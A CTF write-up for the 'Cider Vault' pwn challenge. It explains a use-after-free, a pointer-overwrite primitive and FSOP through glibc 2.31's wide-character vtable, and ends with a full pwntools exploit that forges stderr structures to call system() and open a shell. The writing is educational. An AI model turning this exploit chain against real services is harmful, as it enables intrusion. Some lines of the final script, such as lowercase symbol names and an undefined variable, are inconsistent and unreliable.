Bitskrieg 2026 Cider Vault
Cider vault is a regular pwn challenge with a UAF and a write-what-where primitive and a file stream oriented programming exploitation (FSOP). This was my first time using the FSOP technique so I'll document it here in this writeup
Category : Pwn
Ctf : Bitskrieg 2026
We are given the binary as well as its libc and loader. Let's have a look at the binary first :
~ $ cider_vault
cider_vault: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=bde7005c8d35d07c7ddaaac0e44808ff70500fd5, for GNU/Linux 3.2.0, not stripped
~ $ checksec ./cider_vault
[*] '/home/kaddate/ctf/ctfs/bitskrieg_2026/Cider_Vault/cider_vault'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No
The binary is well secured and the full RELRO is a bit annoying knowing that this is probably a libc exploitation. Let's have a look at the libc :
~ $ strings libc.so.6 | grep 'release version'
GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.18) stable release version 2.31.
We are working with the libc in version 2.31. This version is one of the latest that still holds the malloc hooks mechanism. It also has some protections against double frees and tcache poisoning.
Let's start it once to see what the program looks like :

Ok so this is yet another menu driven program which can allocates/edit/remove some data.
Ghidra FTW
The program a giant loop containing a switch that handles the differents options of the program :

The first thing I do here is to thoroughly analyze the program and lookout pour potential vulnerabilities.
Open page
case 1:
puts("page id:");
page_id = get_num();
if (page_id < 12) {
if (vats[(int)page_id].page == (void *)0x0) {
puts("page size:");
second_page_id = get_num();
size = CONCAT44(extraout_var_03,second_page_id);
/* int underflow */
if (size - 128 < 1185) {
page = malloc(size);
vats[(int)page_id].page = page;
if (page == (void *)0x0) goto exit;
*(size_t *)&vats[(int)page_id].page_size = size;
puts("ok");
goto main_loop;
}
}
}
break;
The first option allows us to malloc() some chunks with a size given by the user. We can observe that the program stores the pages in an array of structs which holds both the pointers to the chunks and their sizes.
Int underflow ?
The only vulnerability here is probably an int underflow ? The program check if the given size - 128 is inferior to the maximum size allowed for a page. We might be able to trigger an int underflow here to malloc() a giant chunk. But the chunk would be so big that even malloc() might return an error.
if (size - 128 < 1185) {
// ...
}
Read and write pages
case 2:
puts("page id:");
page_id = get_num();
if (page_id < 12) {
if (vats[(int)page_id].page != (void *)0x0) {
puts("ink bytes:");
second_page_id = get_num();
page_size = CONCAT44(extraout_var_00,second_page_id);
if (page_size <= *(long *)&vats[(int)page_id].page_size + 128U) {
puts("ink:");
page = vats[(int)page_id].page;
i = 0;
if (page_size != 0) {
do {
sVar5 = read(0,(void *)((long)page + i),page_size - i);
if (sVar5 < 1) goto switchD_00101365_exit;
i = i + sVar5;
} while (i < page_size);
}
goto end_loop;
}
}
}
break;
case 3:
puts("page id:");
page_id = get_num();
if (page_id < 0xc) {
if (vats[(int)page_id].page != (void *)0x0) {
puts("peek bytes:");
second_page_id = get_num();
if (CONCAT44(extraout_var_02,second_page_id) <=
*(long *)&vats[(int)page_id].page_size + 0x80U) {
write(1,vats[(int)page_id].page,CONCAT44(extraout_var_02,second_page_id));
puts("");
goto main_loop;
}
}
}
break;
The handlers to read and write the pages are nothing fancy, theses are simples primitives. The only thing I note is that the program uses write() and read(), theses functions doesn't stop at null byte which could be useful later when crafting payloads and such.
Remove Page
case 4:
puts("page id:");
page_id = get_num();
/* UAF */
if ((page_id < 0xc) && (vats[(int)page_id].page != (void *)0x0)) {
free(vats[(int)page_id].page);
puts("ok");
goto main_loop;
}
break;
This one is interesting ! the program frees the user supplied chunk BUT it doesn't reset its pointer to NULL. So we have a UAF situation that can be combined with the read primitive to leak heap addresses and potentially libc addresses.
Whisper to pages
case 6:
puts("page id:");
page_id = get_num();
if ((11 < page_id) || (vats[(int)page_id].page == (void *)0x0)) break;
puts("star token:");
second_page_id = get_num();
vats[(int)page_id].page =
(void *)(CONCAT44(extraout_var_01,second_page_id) ^ 0x51f0d1ce6e5b7a91);
puts("ok");
goto main_loop;
This functionnality is also very interesting, it rewrites the pointer to a chunk with an input xored to a key. This allows us to arbitrary rewrite the pointers to any chunk. Combined with the read and write primitives, we have a write-what-where primivite and arbitrary read too. We can automate the task to write an arbitrary pointer like that :
def change_page_pointer(number: int = 0, pointer: int = 0):
pointer_mask = 0x51f0d1ce6e5b7a91
pointer_value = pointer ^ pointer_mask
info(f"Changing page {number} pointer to {pointer:#x} (value = {pointer_value:#x})")
p.sendlineafter(b"> \n", b"6")
p.sendlineafter(b"page id:\n", str(number).encode())
p.sendlineafter(b"star token:\n", str(pointer_value).encode())
p.recvuntil(b"ok")
# change_page_pointer(1, 0xdeadbeef)
Moon Bell
And finally we have the moon bell option:
case 7:
_IO_wfile_overflow(stderr,88);
end_loop:
puts("ok");
goto main_loop;
This one is quite weird, it calls a function I have never seen before: _IO_wfile_overflow() with stderr. Upon looking at it on the web, most of the content I find are related to binary exploitations and more precisely to file stream oriented programming exploitation allowing to get RCE by hijacking the metadata of the files within the libc.
Exploitation Path
Upon theses findings, the exploitation path is clear. We can leak the libc address by using the UAF primitive, to then override a chunk's pointer via the whisper functionality. we can follow by overriding malloc hooks such as __free_hook to point to system() and free a chunk with /bin/sh as its data.
But this path completely bypasses the use of the function : _IO_wfile_overflow(stderr, 88), which kind of sounds like an unintended solve ?. Let's solve this challenge by doing the FSOP path !
Info
From now on, this writeup will follow the path to exploit the call to _IO_wfile_overflow(stderr, 88), if you are looking for a solve using the malloc hooks, there are some other writeups of this challenge that details it.
FSO-Whaaaat ?
The FSOP technique (File Stream Oriented Programming) abuses the internal structure of the file stream objects within the libc. Most files in the libc and more importantly the default files stdin, stdout and stderr are of type _IO_FILE_plus (or _IO_FILE_complete_plus depending on the compilation flags).
This struct contains the _IO_FILE struct that contains itself a lot of context informations that are consumed by other libc functions that operates of theses files. Most importantly the last member of our _IO_FILE_plus struct is a vtable! This vtable points to a list of functions that implement the different operations possible on the file.
Because the libc can interpret files differently, the libc can change the vtable pointer to another suitable vtable depending on the type of the file, this means that this pointer is writeable and if we manage to rewrite it we can trigger the libc to internally call functions that we, as an attacker, can control.
// pahole -AC "_IO_FILE_plus" ./libc.so.6
struct _IO_FILE_plus {
FILE file; /* 0 216 */
/* --- cacheline 3 boundary (192 bytes) was 24 bytes ago --- */
const struct _IO_jump_t * vtable; /* 216 8 */
/* size: 224, cachelines: 4, members: 2 */
/* last cacheline: 32 bytes */
};
// pahole -AC "_IO_FILE" ./libc.so.6
struct _IO_FILE {
int _flags; /* 0 4 */
/* XXX 4 bytes hole, try to pack */
char * _IO_read_ptr; /* 8 8 */
char * _IO_read_end; /* 16 8 */
char * _IO_read_base; /* 24 8 */
char * _IO_write_base; /* 32 8 */
char * _IO_write_ptr; /* 40 8 */
char * _IO_write_end; /* 48 8 */
char * _IO_buf_base; /* 56 8 */
/* --- cacheline 1 boundary (64 bytes) --- */
char * _IO_buf_end; /* 64 8 */
char * _IO_save_base; /* 72 8 */
char * _IO_backup_base; /* 80 8 */
char * _IO_save_end; /* 88 8 */
struct _IO_marker * _markers; /* 96 8 */
struct _IO_FILE * _chain; /* 104 8 */
int _fileno; /* 112 4 */
int _flags2; /* 116 4 */
__off_t _old_offset; /* 120 8 */
/* --- cacheline 2 boundary (128 bytes) --- */
short unsigned int _cur_column; /* 128 2 */
signed char _vtable_offset; /* 130 1 */
char _shortbuf[1]; /* 131 1 */
/* XXX 4 bytes hole, try to pack */
_IO_lock_t * _lock; /* 136 8 */
__off64_t _offset; /* 144 8 */
struct _IO_codecvt * _codecvt; /* 152 8 */
struct _IO_wide_data * _wide_data; /* 160 8 */
struct _IO_FILE * _freeres_list; /* 168 8 */
void * _freeres_buf; /* 176 8 */
size_t __pad5; /* 184 8 */
/* --- cacheline 3 boundary (192 bytes) --- */
int _mode; /* 192 4 */
char _unused2[20]; /* 196 20 */
/* size: 216, cachelines: 4, members: 29 */
/* sum members: 208, holes: 2, sum holes: 8 */
/* last cacheline: 24 bytes */
};
However, this is not as simple as that. Before calling any vtable's functions, the libc verifies that the address of the vtable is correct and not an arbitrary pointer by using the function IO_validate_vtable()...
/* Perform vtable pointer validation. If validation fails, terminate
the process. */
static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
/* Fast path: The vtable pointer is within the __libc_IO_vtables
section. */
uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
uintptr_t ptr = (uintptr_t) vtable;
uintptr_t offset = ptr - (uintptr_t) __start___libc_IO_vtables;
if (__glibc_unlikely (offset >= section_length))
/* The vtable pointer is not in the expected section. Use the
slow path, which will terminate the process if necessary. */
_IO_vtable_check ();
return vtable;
}
BUT, our program specifically calls the function _IO_wfile_overflow(), and this function is part of the wide character functions. This call is vulnerable because the wide characters functions are not verified by IO_validate_vtable(). The wide character files use a specific field of IO_FILE_complete called _wide_data; it handles the context informations as well as the _wide_vtable for the wide characters functions implementations.
// pahole -AC "_IO_wide_data" ./libc.so.6
struct _IO_wide_data {
wchar_t * _IO_read_ptr; /* 0 8 */
wchar_t * _IO_read_end; /* 8 8 */
wchar_t * _IO_read_base; /* 16 8 */
wchar_t * _IO_write_base; /* 24 8 */
wchar_t * _IO_write_ptr; /* 32 8 */
wchar_t * _IO_write_end; /* 40 8 */
wchar_t * _IO_buf_base; /* 48 8 */
wchar_t * _IO_buf_end; /* 56 8 */
/* --- cacheline 1 boundary (64 bytes) --- */
wchar_t * _IO_save_base; /* 64 8 */
wchar_t * _IO_backup_base; /* 72 8 */
wchar_t * _IO_save_end; /* 80 8 */
__mbstate_t _IO_state; /* 88 8 */
__mbstate_t _IO_last_state; /* 96 8 */
struct _IO_codecvt _codecvt; /* 104 112 */
/* --- cacheline 3 boundary (192 bytes) was 24 bytes ago --- */
wchar_t _shortbuf[1]; /* 216 4 */
/* XXX 4 bytes hole, try to pack */
const struct _IO_jump_t * _wide_vtable; /* 224 8 */
/* size: 232, cachelines: 4, members: 16 */
/* sum members: 228, holes: 1, sum holes: 4 */
/* last cacheline: 40 bytes */
};
wint_t _IO_wfile_overflow (FILE *f, wint_t wch)
{
if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
{
f->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return WEOF;
}
/* If currently reading or no buffer allocated. */
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0)
{
/* Allocate a buffer if needed. */
if (f->_wide_data->_IO_write_base == 0)
{
_IO_wdoallocbuf (f);
_IO_free_wbackup_area (f);
_IO_wsetg (f, f->_wide_data->_IO_buf_base,
f->_wide_data->_IO_buf_base, f->_wide_data->_IO_buf_base);
...SNIP...
void _IO_wdoallocbuf (FILE *fp)
{
if (fp->_wide_data->_IO_buf_base)
return;
if (!(fp->_flags & _IO_UNBUFFERED))
if ((wint_t)_IO_WDOALLOCATE (fp) != WEOF)
return;
_IO_wsetb (fp, fp->_wide_data->_shortbuf,
fp->_wide_data->_shortbuf + 1, 0);
}
libc_hidden_def (_IO_wdoallocbuf)
The function _IO_wfile_overflow() calls the function _IO_wdoallocbuf() which basically ends up calling (fp->_wide_data->_wide_vtable->__doallocate)(fp). So if we can control the _wide_data and _wide_vtable to rewrite the pointer of __doallocate, we can maybe get RCE.
Below is the full call path to __doallocate() if you are interested:
_IO_wfile_overflow() -> _IO_wdoallocbuf() -> _IO_WDOALLOCATE() -> WJUMP0() -> _IO_WIDE_JUMPS_FUNC() -> _IO_WIDE_JUMPS() -> _IO_CAST_FIELD_ACCESS() -> _IO_MEMBER_TYPE()
which ends up calling :
(fp->_wide_data->_wide_vtable->__doallocate)(fp)
typedef int (*_IO_doallocate_t) (FILE *);
#define _IO_WDOALLOCATE(FP) WJUMP0 (__doallocate, FP)
#define WJUMP0(FUNC, THIS) (_IO_WIDE_JUMPS_FUNC(THIS)->FUNC) (THIS)
#define _IO_WIDE_JUMPS_FUNC(THIS) _IO_WIDE_JUMPS(THIS)
#define _IO_WIDE_JUMPS(THIS) \
_IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE, _wide_data)->_wide_vtable
/* Essentially ((TYPE *) THIS)->MEMBER, but avoiding the aliasing
violation in case THIS has a different pointer type. */
#define _IO_CAST_FIELD_ACCESS(THIS, TYPE, MEMBER) \
(*(_IO_MEMBER_TYPE (TYPE, MEMBER) *)(((char *) (THIS)) \
+ offsetof(TYPE, MEMBER)))
/* Type of MEMBER in struct type TYPE. */
#define _IO_MEMBER_TYPE(TYPE, MEMBER) __typeof__ (((TYPE){}).MEMBER)
Crafting a fake _wide_data
To craft a valid fake _wide_data that leads to a call to system(), we need to analyze the code path of _IO_wfile_overflow() and _IO_wdoallocbuf() and make sure our fake struct passes all the checks.
wint_t _IO_wfile_overflow (FILE *f, wint_t wch)
{
if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
{
f->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return WEOF;
}
/* If currently reading or no buffer allocated. */
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0)
{
/* Allocate a buffer if needed. */
if (f->_wide_data->_IO_write_base == 0)
{
_IO_wdoallocbuf (f);
_IO_free_wbackup_area (f);
_IO_wsetg (f, f->_wide_data->_IO_buf_base,
f->_wide_data->_IO_buf_base, f->_wide_data->_IO_buf_base);
...SNIP...
void _IO_wdoallocbuf (FILE *fp)
{
if (fp->_wide_data->_IO_buf_base)
return;
if (!(fp->_flags & _IO_UNBUFFERED))
if ((wint_t)_IO_WDOALLOCATE (fp) != WEOF)
return;
_IO_wsetb (fp, fp->_wide_data->_shortbuf,
fp->_wide_data->_shortbuf + 1, 0);
}
libc_hidden_def (_IO_wdoallocbuf)
Looking into _IO_wfile_overflow();
1. (f->_flags & _IO_NO_WRITES) need to be false. Otherwise it instantly returns an error. I believe the default value for stderr will pass this condition without any problems.
2. (f->_flags & _IO_CURRENTLY_PUTTING) also has to be false. This also should pass by default as our program doesn't do any async operations on stderr.
3. Finally, It checks that (f->_wide_data->_IO_write_base == 0). So we need to ensure that our fake _wide_data->_IO_write_base contains 0.
Let's now have a look to _IO_wdoallocbuf():
1. fp->_wide_data->_IO_buf_base must be NULL, otherwise it returns without calling __doallocate()
2. fp->_flags & _IO_UNBUFFERED must be false, which is also an easy pass for us.
And that's it ! So this is what I came to using pwntools
fake_wide_data = flat({
24: 0, # _IO_write_base
48: 0, # _IO_buf_base
224: p64(CHUNK_WIDE_VTABLE_ADDR), # _wide_vtable
})
As you can see, my fake _wide_data->_wide_vtable points to an arbitrary pointer. This will be our fake _wide_vtable that will contains a our evil __doallocate().
Crafting fake _wide_vtable
This one is straightforward; we need to write the offset of __doallocate to point to system(). All of the other fields are garbage.
fake_wide_table = flat({
104: p64(libc.sym.system)
})
call to system()
Finally, __doallocate() is called with the pointer to stderr as an argument. In our case this means stderr should have to point to something like /bin/sh. The first field the struct _IO_FILE is flags. This field is an int which hold some informations flags for the program.
we can try to rewrite the field to hold sh\x00 but this would rewrite the flags we need to pass the conditions in _IO_wfile_overflow() and _IO_wdoallocbuf(). A trick I found is to put $0\x00 which will result is a shell.
This works because system() calls the following command : SHELL_NAME -c line. If line is $0 it will be interpolated as SHELL_NAME, which calls the default shell of the libc.
#define SHELL_PATH "/bin/sh" /* Path of the shell. */
#define SHELL_NAME "sh" /* Name to give it. */
New exploitation path
Ok so now that we know how FSOP works, let's define a new exploitation path. To hijack stderr we need to craft 2 fake structs that we'll put into the heap. One of thoses structs needs to point to the second one (_wide_data->_wide_vtable). So we need to get the heap base address to deduce their addresses in the heap.
We also need to get the libc base address to get all the symbols we need and rewrite stderr. Then we need to rewrite the first bytes of stderr to prepare the call to system() and finally call the Moon Bell path of the program to trigger the call to _IO_wfile_overflow().
Heap leak
The get a heap leak we'll have to exploit the UAF vulnerability. We need to free() a chunk with a size of the fastbin family and then read its content.
def leak_heap_base():
open_page(11, 200)
free_page(11)
data = read_page(11, 200).strip(b'\x00')
leak = u64(data.ljust(8, b'\x00'))
return leak - 0x10
heap_base = leak_heap_base()
success(f"Heap base @0x{heap_base:016x}")
Libc leak
The libc leak is similar but we need to free() a chunk that will go to the unsorted bin. We also need to make sure this chunk is not adjacent to the top chunk so that it isn't consolidated, for this we can use a guard chunk between our victim chunk and the top chunk.
def leak_libc_base():
open_page(0, 0x420)
open_page(1, 0x420)
free_page(0)
data = read_page(0, 300).strip(b'\x00')
leak = u64(data[-6:].ljust(8, b'\x00'))
# last unsorted chunk points to main_arena + 96
libc_base = leak - libc.sym.main_arena - 96
return libc_base
libc_base = leak_libc_base()
success(f"libc base @0x{libc_base:016x}")
libc.address = libc_base
Crafting _wide_data and _wide_vtable in the heap
Now that we have the heap and libc addresses, we can calculate the addresses of our fake chunks and craft them :
CHUNK_WIDE_DATA = 2
CHUNK_WIDE_VTABLE = 3
CHUNK_WIDE_DATA_ADDR = heap_base + 0x370
CHUNK_WIDE_VTABLE_ADDR = heap_base + 0xbd0
open_page(CHUNK_WIDE_DATA, 0x300)
open_page(CHUNK_WIDE_VTABLE, 0x300)
fake_wide_table = flat({
104: p64(libc.sym.system)
})
fake_wide_data = flat({
24: 0, # _IO_write_base
48: 0, # _IO_buf_base
224: p64(CHUNK_WIDE_VTABLE_ADDR),
})
write_page(CHUNK_WIDE_DATA, fake_wide_data)
write_page(CHUNK_WIDE_VTABLE, fake_wide_table)
Rewriting stderr datas
Once this step done, we can rewrite the internal datas of stderr. It is possible by using the write-what-where primitive identified during the static analysis of the program done at the beginning of this writeup.
change_page_pointer(2, libc.sym._io_2_1_stderr_)
write_page(2, b"$0\x00")
_wide_data = libc.sym._IO_2_1_stderr_ + 160 # offset to _wide_data
change_page_pointer(2, _wide_data)
write_page(2, p64(chunk_wide_data_addr))
trigger the FSOP chain
Finally we need to call _IO_wfile_overflow():
info(f"calling _IO_wfile_overflow(stderr)...")
p.sendlineafter(b"> \n", b"7")
p.interactive()
The full exploit is available here:
import argparse
def parse_args():
"""Parse command-line arguments for the exploit."""
parser = argparse.ArgumentParser(description="CTF exploit script")
parser.add_argument("binary", help="Path to the target ELF")
parser.add_argument("--debug", action="store_true", help="Run the binary under gdb")
parser.add_argument("--remote", nargs=2, metavar=("HOST", "PORT"),
help="Connect to remote HOST PORT")
parser.add_argument("--libc", help="Path to custom libc")
args, remaining = parser.parse_known_args()
args.forward = remaining
return args
cli_args = parse_args()
# Prevents pwntools from infering with CLI args. (Would be wise to move to pwnlib)
from pwn import *
def loader(args):
global elf
context.terminal = ['sakura', '-e', 'zsh', '-c']
binary_and_argv = [args.binary] + [x for x in args.forward]
# Load main binary
context.binary = elf = ELF(args.binary, checksec=False)
# Environment handling with optional libc
env = {}
libc = None
if args.libc:
libc = ELF(args.libc, checksec=False)
info(f"Using custom libc {args.libc}")
# Remote mode
if args.remote:
host, port = args.remote
p = remote(host, int(port))
# Local debug mode
elif args.debug:
p = gdb.debug(
binary_and_argv,
env=env
#gdbscript=""
)
else:
pty = process.PTY
p = process(binary_and_argv, env=env, stdin=pty, stdout=pty)
return p, elf, libc
def open_page(number: int = 0, size: int = 10):
info(f"Opening page {number} with size {size}...")
p.sendlineafter(b"> \n", b"1")
p.sendlineafter(b"page id:\n", str(number).encode())
p.sendlineafter(b"page size:\n", str(size).encode())
p.recvuntil(b"ok")
def write_page(number: int = 0, data: bytes = b"Kaddate"):
info(f"Writing {len(data)} bytes to page {number}: {data[:16]}...")
p.sendlineafter(b"> \n", b"2")
p.sendlineafter(b"page id:\n", str(number).encode())
p.sendlineafter(b"ink bytes:\n", str(len(data)).encode())
p.sendlineafter(b"ink:\n", data)
p.recvuntil(b"ok")
def read_page(number: int = 0, amount: int = 0) -> bytes:
info(f"Reading {amount} bytes from page {number}...")
p.sendlineafter(b"> \n", b"3")
p.sendlineafter(b"page id:\n", str(number).encode())
p.sendlineafter(b"peek bytes:\n", str(amount).encode())
data = p.recv(amount)
p.recvuntil(b"ok")
return data
def free_page(number: int = 0):
info(f"Freeing page {number}...")
p.sendlineafter(b"> \n", b"4")
p.sendlineafter(b"page id:\n", str(number).encode())
p.recvuntil(b"ok")
def change_page_pointer(number: int = 0, pointer: int = 0):
pointer_mask = 0x51f0d1ce6e5b7a91
pointer_value = pointer ^ pointer_mask
info(f"Changing page {number} pointer to {pointer:#x} (value = {pointer_value:#x})")
p.sendlineafter(b"> \n", b"6")
p.sendlineafter(b"page id:\n", str(number).encode())
p.sendlineafter(b"star token:\n", str(pointer_value).encode())
p.recvuntil(b"ok")
def call_wfile_overflow():
info(f"calling _IO_wfile_overflow(stderr)...")
p.sendlineafter(b"> \n", b"7")
def leak_heap_base():
open_page(11, 200)
free_page(11)
data = read_page(11, 200).strip(b'\x00')
leak = u64(data.ljust(8, b'\x00'))
return leak - 0x10
def leak_libc_base():
open_page(0, 0x420)
open_page(1, 0x420)
free_page(0)
data = read_page(0, 300).strip(b'\x00')
leak = u64(data[-6:].ljust(8, b'\x00'))
# last unsorted chunk points to main_arena + 96
libc_base = leak - libc.sym.main_arena - 96
return libc_base
if __name__ == "__main__":
p, elf, libc = loader(cli_args)
heap_base = leak_heap_base()
success(f"Heap base @0x{heap_base:016x}")
libc_base = leak_libc_base()
success(f"libc base @0x{libc_base:016x}")
libc.address = libc_base
success(f"system() @0x{libc.sym.system:016x}")
# _IO_wfile_overflow(stderr) is automatically called
# _IO_wfile_overflow() calls _IO_wdoallocbuf() that we can try to rewrite.
# The call chain is : (fp->_wide_data->_wide_vtable->__doallocate)(fp)
# _wide_data @ fp+160
# _wide_vtable @ _wide_data+224
# __doallocate @ _wide_vtable+104
def read_ptr(addr, offsets) -> int:
for o in offsets:
addr = u64(libc.read(addr + o, 8)) + libc.address
return addr
success(f"stderr @ 0x{libc.sym._IO_2_1_stderr_:016x}")
success(f"stderr->_wide_data = 0x{read_ptr(libc.sym._IO_2_1_stderr_, [160]):016x}")
success(f"stderr->_wide_data->_wide_vtable = 0x{read_ptr(libc.sym._IO_2_1_stderr_, [160, 224]):016x}")
success(f"stderr->_wide_data->_wide_vtable->__do_allocate = 0x{read_ptr(libc.sym._IO_2_1_stderr_, [160, 224, 104]):016x}")
_wide_data = libc.sym._IO_2_1_stderr_ + 160
success(f"_wide_data @ 0x{_wide_data:016x}")
_wide_vtable = read_ptr(libc.sym._IO_2_1_stderr_, [160]) + 224
success(f"_wide_vtable @ 0x{_wide_vtable:016x}")
__do_allocate = read_ptr(libc.sym._IO_2_1_stderr_, [160, 224]) + 104
success(f"__do_allocate @ 0x{__do_allocate:016x}")
CHUNK_WIDE_DATA = 2
CHUNK_WIDE_VTABLE = 3
CHUNK_WIDE_DATA_ADDR = heap_base + 0x370
CHUNK_WIDE_VTABLE_ADDR = heap_base + 0xbd0
open_page(CHUNK_WIDE_DATA, 0x300)
open_page(CHUNK_WIDE_VTABLE, 0x300)
fake_wide_table = flat({
104: p64(libc.sym.system)
})
fake_wide_data = flat({
24: 0, # _IO_write_base
48: 0, # _IO_buf_base
224: p64(CHUNK_WIDE_VTABLE_ADDR),
})
write_page(CHUNK_WIDE_DATA, fake_wide_data)
write_page(CHUNK_WIDE_VTABLE, fake_wide_table)
change_page_pointer(2, libc.sym._io_2_1_stderr_)
write_page(2, b"$0\x00")
change_page_pointer(2, _wide_data)
write_page(2, p64(chunk_wide_data_addr))
call_wfile_overflow()
p.recvuntil(b"> ")
p.interactive()

References
- https://corgi.rip/posts/leakless_heap_1/
- https://elixir.bootlin.com/glibc/glibc-2.31/source
- https://niftic.ca/posts/fsop/
Made with luv :3